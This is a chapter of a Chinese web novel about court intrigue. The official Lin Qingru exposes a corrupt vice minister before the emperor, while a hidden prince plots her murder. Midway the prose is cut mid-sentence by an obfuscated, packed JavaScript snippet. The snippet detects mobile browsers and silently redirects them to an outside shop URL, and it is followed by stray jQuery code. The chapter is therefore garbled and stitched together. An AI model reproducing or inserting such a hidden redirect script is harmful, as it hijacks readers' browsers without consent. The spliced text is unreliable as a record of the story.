63. 朝堂震怒
    弥漫着袅袅熏香的房间之中,端坐之人云淡风轻地品茶,冷眼看着其下有人恭敬地朝他躬身拱手。

    “殿下,苏鹤毅怕是已经被牵扯出来了。”

    “没有的东西。”端坐之人冷笑一声,“看不出来,林清如倒真有几分本事。”

    “殿下,接下来该如何处理此事?按照林大人的性子,只怕不会轻易放过。”

    空气中氤氲混杂着沉香的淡淡香气,那人闭着眼,轻嗅茶香,用淡然地语气说道:

    “去通知苏鹤毅吧。他自己知道该怎么做。”

    后者了然,“是。只是……”

    他迟疑了片刻,“林大人恐怕会和她父亲一样,追根究底起来,只怕是坏了殿下的大计。”

    那人嘴角勾起一抹不屑的低笑,“那就让她像她父亲一样,悄无声息的死掉。”

    “是,小的明白。”

    “记得想个法子,在别处动手。”他眉目间满是胸有成竹的轻笑,

    “最近京中,他们可盯得越来越紧了。真是有意思……”

    ————

    教坊司之案,在青黛之死中,以无人问津的姿态,落下帷幕。

    对于青黛的自尽,林清如只觉得茫然。不过一句命运使然,便轻易总结了她们凄苦多舛的一生。

    可惜她们没有机会。

    身为女子的命运,难道就该天生掌握在别人的手里吗?

    教坊司的大门,是永远不会关闭的。女子们无足轻重的命运,从不会引起他们的任何在意。

    这里来来往往,会有新的鸨母,新的水刑,新的青黛。

    她们会在时间的流逝中凝固成一个符号与代称,是为虎作伥者,或是任人宰割者。

    而对她们敲骨吸髓的恩客与掌控者,从不会在这些凄惨的故事中留下一丝痕迹。

    要怎样才能荡尽着一切的不公呢。

    这日早朝,林清如将事关苏鹤毅的案件一一禀报,

    “皇上,微臣参奏户部侍郎苏大人。苏大人身居户部要职,却知法犯法,参与拐卖人口、贩卖私盐、包庇罪犯、杀人灭口。”

    苏鹤毅闻得此言,慌忙之中瞪大了双眼。他面色苍白,张着嘴却说不出辩驳之语。只能跪下,一边叩头,一边大呼冤枉。

    林清如只是条理清晰地说道:“证据确凿。当日人贩孙荣之死,有证据表明其死于非命。现亦有盐贩方朝、掮客杜梁的口供为证。”

    对于人口拐卖一案,皇帝似乎并没有表现出过多的关心之意,反而是对贩卖私盐的行为表现出了极大的愤怒。他狠狠一掌拍在龙椅之上,

    “你竟敢以权谋私,侵吞国帑?”

    皇帝向来优容,从未在众人面前有过这么大的火气,吓得朝中之人纷纷跪下请罪,“皇上恕罪!”

    苏鹤毅更是脚下一软,磕头如捣蒜般,求救的眼神在众多背影上来回逡巡。

    只是眼下能说得上话的人大多是泥菩萨过江,谁也不敢在火头上触怒龙威,自然不发一语。

    “苏鹤毅,先关押起来,严加看管。”皇帝的怒气似乎只在一瞬之间,此刻的声音已经沉静得如风暴即将来临的海面,让人无端觉得不安与惶恐,“查抄苏府,亲信家眷,一律严查!”

    他看着司徒南,“交由大理寺着手去办。”

    司徒南拱手应下,“是。”

    像是突然想起了什么,他又像是漫不经心地问道:“如此说来,当日林卿所禀的人贩之死,确有疑窦?”

    他的眼神带着无形的压力,瞥向兵部尚书李元达与司徒南,当日他二人言之凿凿孙荣死于自尽,今日怎得又再次提起?

    “二位爱卿,可有什么话说?”

    司徒南神色中带着极力压制的紧张,他看向林清如,“敢问林大人,可有新的证据了?”

    “自然。”林清如冷笑,“教坊司鸨母之死状,与孙荣如出一辙。而凶手曾经亲口承认,是苏大人教得她此种手法。”

    还未等司徒南有所反应,苏鹤毅便如遭雷击一般,一脸不可置信地震惊之色,“怎!怎么可能!她胡说!绝无可能!”

    “凶手签字画押的口供,苏大人可要瞧瞧?”

    司徒南眼下已有慌张之意,看一眼一旁的沉默的李元达,使劲给他使着眼色。李元达只挺着背立于原地,恍若未见,

    “皇上,是微臣失察。臣对探案验尸之事并不甚熟悉,皆听得司徒大人告知,这才认为孙荣死于自尽。还请皇上降罪。”

    说是降罪,却将责任全部推到了司徒南身上。

    林清如听得直想发笑。那晚这二人是如何在自己面前大发官威,百般阻拦自己验尸。这些一丘之貉,原也有内讧的时候。

    因利而聚利尽而散,不过如是罢了。

    她忽然隐隐觉得有哪里的不对劲,却未等得她细想,便听得司徒南吹胡子瞪眼,

    “你!”他死死瞪着李元达,却始终说不出话来。李元达并不看他,他愤怒的眼神在空气中经过良久的对峙之后,终于是败下阵来,颓然道:

    “皇上,臣也是轻信了仵作所言,误以为孙之死是自尽。是臣失察,还请皇上降罪。”

    包袱甩来甩去,总要有一个背锅的才是。

    可怜的仵作,即使早已嗅到不寻常的气息,依旧逃不脱成为这些大人们手中的牺牲品。

    皇帝唔了一声,“那就好好处置仵作吧。”他看着司徒南沟壑纵横的老脸,不怒自威,

    “司徒卿想来是老眼昏花了。不如先停一停手中的事情,一切交由林卿打理吧。”

    语气虽十分平淡,司徒南的后背却早已被冷汗濡湿。索性,皇帝给他留了几分脸面,只是暂停职务,并未曾真正贬官降职。

    只是这样,跟光杆司令又有什么区别。

    他愤恨地看了林清如一眼,将此夺权之恨皆加诸于她身,眼中已有杀意涌动。

    林清如只是回以一个轻笑,在他眼中看来十分挑衅的微笑。

    而司徒南想是突然想起一事,只能战战兢兢地接着禀报,“皇上,臣也有一事禀报。”

    皇帝脸上露出不耐烦的神色,“奏。”

    “滁水郡下辖的苏阳县城,今日前日里频有命案发生,难以侦破。滁水太守请求大理寺派人前去,一同侦办此案。”

    “什么案子这般大费周章?”皇帝唔了一声,“那便派个人前去便是。”

    司徒南却接着说道:“滁水君已派去了许多精通仵作勘验之人,皆无所获。若是派了大理寺寻常官员,只怕无用。”

    他语气一顿,试探性地问道:“依臣愚见,林大人明朝秋毫,屡破奇案,不如让林大人前去探查?”

    皇帝皱着眉头,“如此,京中大理寺之事……”

    林清如心中冷笑一声,司徒南原来打的是这个盘算。刚被停职便不肯放权,只将她支得远远的,牢牢握紧手中权力。

    只是这雷霆雨露具是君恩,皇帝方才停了他的职务,这般容易又让他掌权,岂非打自己的脸?司徒南一心算计手中权力,却

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734054|138250||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    未曾真正揣测过圣意。

    “让林卿前去,也未尝不可。”皇帝语气一顿,看向立于最前的三皇子顾云清,“云清,林卿前往滁水郡的这段时日,不如你先料理着大理寺之事,也好历练历练。”

    说着,他嘱咐道:“若有何事,可和林卿商量。”

    顾云清神色平淡地应下。

    反倒是一旁的顾云淮,笑眯眯地看着他,“三哥才华出众,很适合大理寺呢。恭喜三哥了。”

    皇帝复又看向司徒南,轻轻皱着眉头,“司徒卿,可明白了?”

    “是!”君命难违,司徒南强压下心中的不甘,一口牙咬碎了也只能往肚子里咽。

    下朝之时,林清如看着苏鹤毅的忿忿目光,心头突地一跳,像是突然想起一事般,她知道有哪里不对劲了!

    她脑中回想起孙荣死的那一晚,司徒南与李元达匆忙赶来,那样慌张地销毁证据,处理尸体。

    如果苏鹤毅是其中主谋的话,他们为何这般卖力?

    这背后,是受苏鹤毅之贿?还是他们也牵扯其中?

    “大人?大人!”雪茶看她走神,惊疑地唤了她一声。

    林清如回过神来,总觉得似乎还有未曾厘清的线索。她皱了皱眉头,看向雪茶,

    “你知道青黛对我说了什么吗?”

    雪茶茫然地摇摇头。

    “她说,她的杀人手法,是苏鹤毅教她的。”

    雪茶闻言不可置信地瞪大了眼睛,“又是他?”她捂住嘴边即将溢出的惊呼,“私盐之事和拐卖之事不都跟他有关系吗?方朝也是他指使杀的?”

    林清如沉默地点头,“如果苏鹤毅是幕后真凶,那么他的嫌疑便是最大的。”

    雪茶这才露出恍然大悟的神色,“这么多案子串到一起,原来他竟就是幕后真凶。也是,他能杀了一个方朝,就能再杀一个鸨母。”

    她忽地一拍手,惊喜道:“这样的话,是不是说明,当年老大人之事,也是他所为!”

    在须臾的沉默之后,林清如缓缓说道:“你不觉得奇怪吗?”

    她歪头看雪茶,见雪茶脸上露出怔怔的神色,她带着疑惑,犹豫着说道:

    “苏鹤毅能用职业杀手杀死方朝,为何会在杀害鸨母之时,让手无缚鸡之力的青黛前去呢?”

    她顿了顿,“更何况,如果说是杀死方朝是为了遮掩人口拐卖案的罪行,那么杀死鸨母的目的,又在何处?”

    雪茶思索着支吾了一声,“鸨母不是也与拐卖案有关吗?她买了那么多女子,来替换那些被她杀掉的女子。理应也是知情人才是。苏鹤毅要杀她灭口,也并非全无道理。”

    林清如犹疑地点点头,这样似乎能说得通?

    可是她仍不明白为什么会让青黛动手。青黛既不熟悉此种手法,也从未有过杀人经验。岂非太过冒险?

    林清如接着说出其中疑窦之处,“当年父亲去世时,苏鹤毅不过一个八竿子打不着的五品官员。他有什么理由害死父亲?

    还有靖玉侯府夫人之死。十年前的苏鹤毅,大概官位也不会太高吧。怎么会又跟靖玉侯府扯上关系?”

    想到靖玉侯府,她顿了顿,“走!去花间楼!”

    花间楼此时热闹熙攘,小二穿梭于客流之中,并未曾注意到她的前来。

    她只熟门熟路地走到凝香阁门口,在推门进去的那一刹那,似乎有人声交流其间。

    推门的手骤然顿住,她隐约听得里面传来两个字,

    “殿下。”